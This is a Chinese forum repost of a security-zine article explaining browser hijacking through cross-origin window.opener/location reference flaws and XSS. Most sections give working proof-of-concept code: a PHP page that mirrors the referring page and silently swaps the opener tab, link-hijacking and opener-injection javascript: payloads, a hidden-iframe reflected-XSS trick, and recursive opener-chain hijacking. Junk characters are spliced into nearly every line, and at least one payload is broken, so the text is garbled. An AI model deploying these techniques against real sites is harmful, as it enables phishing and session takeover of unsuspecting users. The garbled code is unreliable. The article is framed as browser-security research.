找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2284|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==; r% L0 d* o5 L/ b/ t! r! @
& P' }7 v" n) j7 W
                       Issue 0x03, Phile #0x05 of 0x07
9 n& M. w7 v; Y3 }2 n0 @! W1 c
/ |3 Q9 a4 r6 q! g2 j$ g/ I, j* D& t. H, ]1 n
|=---------------------------------------------------------------------------=|5 y3 C$ K) P( D. Z; J( ^3 C1 i8 x& e
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
  n2 B# o4 b: m|=---------------------------------------------------------------------------=|
5 d; b. j; D8 ^4 U9 l, J7 S|=---------------------------------------------------------------------------=|4 H) G! N  Y0 t/ A( u
|=------------------------=[      By rayh4c     ]=---------------------------=|
( K1 A4 Q& Z" f% f2 l- R|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|/ n% e) q2 N* H! X8 G
|=---------------------------------------------------------------------------=|
( ~" z! H7 I1 M9 |! G8 t
( I& t7 B; A/ }2 l
. _' g) N% ?7 n, n$ j/ G[目录]
1 r) f/ g- G' f7 K4 W. j( x* N# d8 c; ^% u
1. 前言
% Z. G+ }8 [! B* A2 R/ N2. 同源策略简叙
+ F+ A" w& |, O# S( @  A3. 理解window对象的同源策略* s- I6 ~; t! f, i$ f$ R( w
4. 窗口引用功能中的同源策略漏洞
" ~2 u5 B1 _! y+ p8 N  4.1 父窗口引用子窗口的同源策略问题
, p3 v8 T9 I/ |: c  4.2 子窗口引用父窗口的同源策略问题
' c6 o  X3 c; X5. 利用窗口引用漏洞劫持浏览器
+ e( N. b: O$ `6. 利用XSS漏洞劫持浏览器* p$ C8 y2 z9 `6 O1 v' Z# [1 P. w
  6.1 正向跨窗口劫持5 B" P& M& \4 _$ Z( d) ]
  6.2 反向跨窗口劫持0 G) h. }3 j  l% I/ O2 N
  6.3 极度危险的跨框架窗口引用劫持. {2 j7 w; ~. v! Y
  6.4 极度危险的正反向跨窗口递归劫持; t& W+ N( F  s/ ]: r  x" b$ z+ x
  6.5 完全控制浏览器
" G/ T/ k/ P1 n: U% C# J3 A: x7. 后记4 e$ a- x$ C! ~
8. 参考
1 p. A, ]7 G3 _" S, a: Y" t" A3 \4 R
2 v0 y: R3 y4 p/ r  @- ~- e
. R1 S2 a; d' r! v; f$ l! ?. z一、前言6 I9 x( p1 t$ k  W& ~" ?# B  {
5 Z: t  R4 w. a  s
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋6 w+ S2 b9 @- B# G' e  V
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session  W- V# e' w4 S9 h6 \5 @
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被( c+ c; S+ Q1 r+ o
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
, D! W6 q: T( s" O, g
. s. d: Q+ ]& ], x8 N; O
! O! T1 G0 y( @8 x  Z& Z, N二、同源策略简叙
, k( P* f' q1 }9 P, |
1 O# @' d2 B  m* L    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
5 N2 o' }' o# d' g" R从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都% v. S% \1 v- z
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木/ h! d8 C. _& c1 H/ x7 I) W
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
$ |5 C/ l4 W$ e4 t6 B, A5 {漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。0 q; Y5 ~6 [0 e. j! l# A
* Y+ p& i0 P+ _
" M$ P& C7 r8 s/ P. @6 b3 ]
三、理解window对象的同源策略
* ~5 O0 ^. C0 G( J2 C; x' I  H; i0 E% I
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对4 I6 p' T6 k! t: n
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:. [0 N7 H) s7 J% u; H
+ U1 A3 d) t% p1 n* j+ k
--code-------------------------------------------------------------------------& z  x! |/ w  W7 I( U+ Z& D
<script language="javascript">
' S) p2 f8 V) H  zfor(p in window) document.write(p+"<br>");
3 I2 s) z6 O0 x4 B1 _</script>
2 c" A' s4 G, ~; u-------------------------------------------------------------------------------
/ S  S" w0 d, e; F7 j, h( d! X, n) U; E  e" }6 N( w) e4 r
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方7 M- K6 r; h" d/ n, c
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
/ J$ _4 F$ R! M; r0 c4 O6 F这些属性和方法就必须遵循同源策略。
! S" t/ m- E: g, u# ]* }
$ V( D6 T; b5 Z, a$ Y' Y& }    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那) b1 k$ y9 f  C  B' m" @2 \
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
+ d2 Z: s0 o6 s# ~$ h3 s的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这- i9 c, c- c3 M2 |2 ^
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
* O) b+ v6 j; H( C% ]! r9 g值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
2 M1 x/ J: s! ]6 s+ Z属性并没有被拒绝访问。- q0 p; O3 M4 z5 g
6 L5 ^  K: N2 O7 U6 k& }
--demo.html--------------------------------------------------------------------
: k! K! q- N% V! i<script language="javascript">   
% A$ g4 g0 E  [7 v9 Xfunction allPrpos(obj) {      
  W! r; E# S6 R7 [2 k      var props = "<table><tr><td>名称</td><td>值</td>";           1 j, |; I: B- b& A, Y$ @  y
      for(var p in obj){          , x5 j. e4 U* C! @3 i& J
            if(typeof(obj[p])=="function"){   2 g1 s* |) ?6 w) s
                   obj[p]();   
. i1 U! z* ~& h: s- C* N             }else{                     
! A& [8 v9 U. w9 J6 ^  a" K- v                  try   
0 U7 z6 [/ ~- `                   {   
% Q- s$ l  ~" e* N; D: q                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   & m! o& c6 C! h5 c4 u5 U8 g
                   }   
% C7 o5 j! z9 \: ^                  catch (ex)   
8 q' F/ n% _. o5 }, x+ P                   {   ' U2 M" v( y% D3 h. @
                  
7 i3 p& g( w) f! R$ r. K; g                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   ' t1 t" I+ ~% H  I9 ?9 h
                   }   2 d  S. N2 a" q5 G/ S/ k
                       8 Z3 Q8 J1 B/ L5 o
             }   
$ L  ?% h/ o/ ^' y1 o' i. q+ F: {, k       }   # ]" R% r$ n* C8 {3 W3 A$ G
   
% x) `: D1 E& ^& q! q$ L- j9 n       document.write(props+"</table>");   
% m: k; [3 G* i! B5 }}   
; }& M3 ?3 @* ^$ `/ l5 w   4 @8 k+ ?9 n0 t( T/ z, w
function createWin() {4 Z3 Z2 M6 A) w$ c
        newWin = window.open ("http://www.google.com");  8 w3 O9 \% q3 x* w& o8 D
        setTimeout(function(){allPrpos(newWin)},2000);
2 x% x$ Z/ Z% Y; q7 ~$ t6 X& K% J}
, l( O5 a( R3 K! o' ]/ b, f( y6 r2 n- w
</script>
% N$ h  y- ^( T% ]
0 `- c& p; G4 K2 V' M<button onclick='createWin()'>创建一个非同源子窗口测试</button>! g% ~1 x* `; B3 a5 ?9 J: ]  i
-------------------------------------------------------------------------------
2 d8 u2 ]" P2 V% S6 R3 c1 z! I( j- x4 l$ t- x
" l, a. J' U. o  A, I% }  B$ t
四、窗口引用功能中的同源策略漏洞
8 y  g0 c; e, p+ P' m0 ~7 V3 Z5 E! H+ M( |" e3 o/ Z
4.1 父窗口引用子窗口的同源策略问题
6 S4 M# G1 m: e7 q$ y  v& J7 h* v7 ]/ h9 S; u+ {
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
* U  I- F9 V+ i* p- J) @# C+ }$ Y但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道+ o- }  E8 W8 ~0 S
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
' y: C0 W/ @% ]6 P6 a行测试,会发现父窗口可以控制非同源子窗口location属性值。% X8 t) K, ^3 P# X" c3 z/ P

4 f' y9 G1 @& ~, J--vul1.html--------------------------------------------------------------------
* i# S; M# f* p9 M, Y<script language="javascript"> & ^! U) H' X# ~: G" O7 u2 f! @
function createWin() {  6 Q/ j+ [8 ]  R4 O
        newWin = window.open ("http://www.google.com");    B5 z4 U# f+ @# w# {
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
* k. T8 x+ h/ Y}
  o- b: o5 L/ H6 e3 n! w+ r</script>
$ W# [( O! D  E- @9 E
- x6 n* h% x% y; A. z, _<button onclick='createWin()'>创建一个非同源子窗口测试</button>$ ?: a, `; v/ o) r0 v4 N2 _1 {
-------------------------------------------------------------------------------
: J% F& ?. k+ s' b. m4 C+ D6 F0 j. c" e. _# C

6 w7 W& K# a9 z, b  V: ^4.2 子窗口引用父窗口的同源策略问题0 l1 G, \+ p  X

' ]0 q- Q" [. d    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
3 ?  q8 _0 \! Q$ [/ F用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
9 Y! b3 Y6 }' i可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
2 y0 D0 ]6 Y- n8 J会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。, Z, Q7 j1 _/ i7 A/ I& x

; T9 Z0 o9 k& x" E) j--code-------------------------------------------------------------------------
: r) E5 M9 \5 g' h( z/ [4 C8 b% i* D" [8 k
javascript:window.opener.location = "http://www.80sec.com";void(0);
3 p! x4 X3 ^# y
( C% U3 p+ n0 y4 ~-------------------------------------------------------------------------------7 F  u5 L5 L9 n  R4 P( f5 y+ l
  _5 \( k2 `! n
- A- O; a' u4 x) Z8 @: }0 ?' J" y
五、利用窗口引用漏洞劫持浏览器$ H9 i- I, U' c/ e" f- j. d; v" Y
5 A$ l7 n- Z6 ]9 @2 Y# e4 i
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
& q& x' ~; }( n; O7 @窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那% J/ w0 c' |4 C
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。; ~  ?4 K* O1 W0 f5 r

8 P5 g  c1 E! q6 p7 _/ k0 _. h    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产6 P; ~: A) o5 Q0 `" X
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或! n) P) y' d, G9 _- g) c' |' M
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
" ~# ~& G1 ~0 p后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下6 L9 Y) ?  p+ `% }4 |
会产生什么可怕的后果。9 g/ @6 c; ]1 x5 C! b
: s6 O+ c% ]' g+ V( l
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
4 C8 s5 S; I! l们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
, a8 F' N' @! ^6 \& U5 z2 r这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时2 H. y: k4 _3 k2 A, m2 S+ i6 x( R: M
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
; U% }" d) A/ E* e& }; E: ^- m以做更多的事情,所有的一切仅仅是因为点击了一个链接。8 L# G2 }2 O# Z1 f

4 W! ~' J) S# P' ]8 I3 f( H9 B--hjk_ref.php------------------------------------------------------------------
: k0 l8 K2 \# a+ S5 {3 ~- h3 h<?php$ D: N% B1 V) U; G+ B
if (array_key_exists("HTTP_REFERER", $_SERVER)) {  f; D3 }/ U+ U
$Url_Mirror = $_SERVER["HTTP_REFERER"];
" V! C! `$ L$ M1 f4 K  x+ D}
" Q0 v0 C: X$ I" I9 S' wif(isset ($_GET['ref'])) {# }' a; u0 B7 A' s
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
) ]3 n- i, l  |, w$ Q}3 m/ a1 A' `. p: z
?>
/ Q7 o6 x" a" }* u6 E5 v2 L9 g( ~! K4 U
<script language="javascript">0 j$ d' C2 g! D
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         9 y) i5 N8 u& f3 ~- s0 @0 W; r. n
</script>
6 [8 r9 ?7 f2 S-------------------------------------------------------------------------------7 g6 ^( J' ], {1 a9 Q! A5 Q
0 y9 [+ B1 ], m; D. p
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
( i& Z$ _& u% x. D2 z* t2 L
# a0 v* v2 y3 F! G" n1 P8 Q3 p) v( ^6 M
六、利用XSS漏洞劫持浏览器
$ Q7 X9 y# @8 \0 v3 m: m4 G0 y2 W1 i  k/ @% h  [
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
4 D: z" W4 q$ f! C) {" {持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后; [2 I6 M( w0 c) J
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起' {; p4 \! ~2 v, C9 p+ r
讨论跨站师的终极技巧:0 i; c; K9 t7 C( i- e8 u

: _+ s7 N  J& r4 ^* @
! B! m8 L& ?4 B7 F4 r2 Q6.1 正向跨窗口劫持
2 X" R7 u. r. ?* P! F
3 j* m; L# Y5 S( \    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛: y' c  ~1 f8 |4 h) [# d/ ], V
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 X5 p& J& `, |) W' f0 b
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
2 U, `, [" Y) b' Y框脚本。
9 e8 |2 I* O. `: Z( x; L, K
0 }6 a, e5 ?8 R/ }/ u- S# F--hijack_open.js---------------------------------------------------------------
& p3 Q, X0 {( R4 b4 s
' M5 r3 w$ r$ u: `javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
) h$ \# x8 u6 ]% p7 X3 m# D4 H2 W$ u  e$ B, v
-------------------------------------------------------------------------------* a, s' D# n4 j- R1 Z! A
: O% s; E: C. T. {4 ]- k4 D  H

7 M5 q- C1 B, u1 i6.2 反向跨窗口劫持
- c4 J: J# m/ j) `; x$ i% y0 _/ L* y* c) @; n, I! `  W
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代& r3 g' e/ H! s" e. {
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话. Q: E* N0 x$ B$ P1 Z
框脚本。  }) B6 ~; X/ v" E7 l# Z
" g, W! m  a7 Y5 r7 a$ v
--hijack_opener.js-------------------------------------------------------------
1 F2 k4 ~, |! Z' I
4 P( p. `& C; }9 A) C* l/ }javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
( f4 I" j& o6 @% i# o: k
# {0 }1 B! d1 \: B/ n-------------------------------------------------------------------------------# H* e! m# `9 u

8 C6 I3 R( Z9 r/ J8 Z
9 \8 W# }& t9 L+ a2 |. P2 i6.3 极度危险的跨框架窗口引用劫持' e* F6 y) }% h1 d4 l

. e9 i: ?& p; S( |& s! C    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
& Q& ]7 i5 }. d' y可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就: s* I9 C! \8 z, Y
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
2 G8 ~7 C& C2 `8 X# W非持久型的XSS,如下:
" }. o2 A, `! Z! b$ m" y  c! n# c5 w6 D/ S8 O7 g7 n# ~* ~9 F
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>6 C5 u1 t" ?" G" a0 d6 O
- i( {( Y) t) \: C% f8 d
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口/ W7 I* _2 S$ K
注入脚本。! w4 @  Z! C- J
/ x6 B; @& w5 q9 m9 a. L- F, S4 I
--hijack_frame_opener.js-------------------------------------------------------
; g1 D$ P( _* i<script>9 X9 i# X' p5 l5 B8 M0 X
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
0 n0 x# b0 P' h. z  F</script>: ^) m, w/ J6 [8 D$ q; g
-------------------------------------------------------------------------------
7 L- @8 v% I- D# L  p  i* c! D* M' C: x2 U* K( r$ h1 M
5 _1 D8 A1 \) _, F
6.4 极度危险的正反向跨窗口递归劫持; T2 q3 M6 `$ i  [$ @
5 X3 m/ Z4 c" M& D5 S
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
- ^% i' x  s0 m3 U的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过8 A! e2 L& U' e8 T+ a  R0 _
异常处理规避之间跨域页面的访问异常,代码如下:7 Q# c& T: A- z4 [3 ]! W

9 p6 g+ O* Q: ~' o. x" E--code-------------------------------------------------------------------------1 Y& ]/ a) Q+ f" w8 V) x- p0 U& Y
5 U! S  G1 K9 x; {4 B
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);( I) f1 p4 \) b/ Q% L4 E& z/ Y

+ R- V1 M+ |) |2 R-------------------------------------------------------------------------------; m0 u4 i: Y. Z; x  l# U7 C
$ L7 `0 h( x0 U& d
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
% Y7 Q/ C* y. l* b1 g' b以劫持B域之前的A域页面,从而实现“隔空打击”。" f7 l: a# i4 h$ Z' d

$ |9 Z/ ^7 b: c3 I) H% N' U    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
" k  t  U, S, u8 {0 K3 P1 X+ n执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
8 ?, |4 S; E3 Q; G6 J' `) i# n# ^" t! }' D8 I& F4 P
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。9 z" K' G) J5 m& q0 K
" t" B% [0 e; \
+ a& T; V6 t! U+ a9 I
6.5 完全控制浏览器
9 ]# h7 ~, ?. C1 l7 n4 O. {& `
/ J6 V7 h5 q( x6 J$ k1 n2 t    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则5 c' F, j. k: s
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS0 Y: Z, o" r+ g
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% ~/ G! q4 Q% K/ K而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
9 q) e- s! {# k( @4 Z列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
2 y, G. p6 {  B" J7 B5 }师的终极目标 - 完全控制浏览器。4 ]! [8 }8 h) X0 U0 V

7 [6 N( Z; H7 q. ^; m) ]8 V, C
$ V& F  G, U* E" T; ]. D! ^* R七、后记
4 i" [: s* L' E9 l& h/ h  d& B( ?# b7 N& T) ?  u# _4 D
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
0 O: B8 d+ t+ F* @与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
2 k1 k( K. k9 o, u' s- p过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
3 e3 G  X/ ?* d' j/ C
) d$ m" \7 b+ q
- p  }: p9 W" M" W, b八、参考) }. m6 ^7 ^4 r6 }
/ L# x; x6 a2 ?
1. http://en.wikipedia.org/wiki/Same_origin_policy
4 f9 _# e( y0 Y; C, S$ z( ]; y/ ]" ?2. http://code.google.com/p/browser ... licy_for_DOM_access: n8 E4 D' D( C, a, P' o- R+ \0 b
3. http://www.w3.org/TR/Window/
7 c8 b& a6 Y# b5 _4. http://www.80sec.com/release/browser-hijacking.txt& c! l/ R! m* X
5. http://www.80sec.com/all-browser-security-alert.html
" X) D. b! v8 o/ N7 e+ \& M6. http://www.80sec.com/ms08-058-attacks-google.html
) z" ~& \2 R$ J9 ?* f8 }0 {' p  E/ ?
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表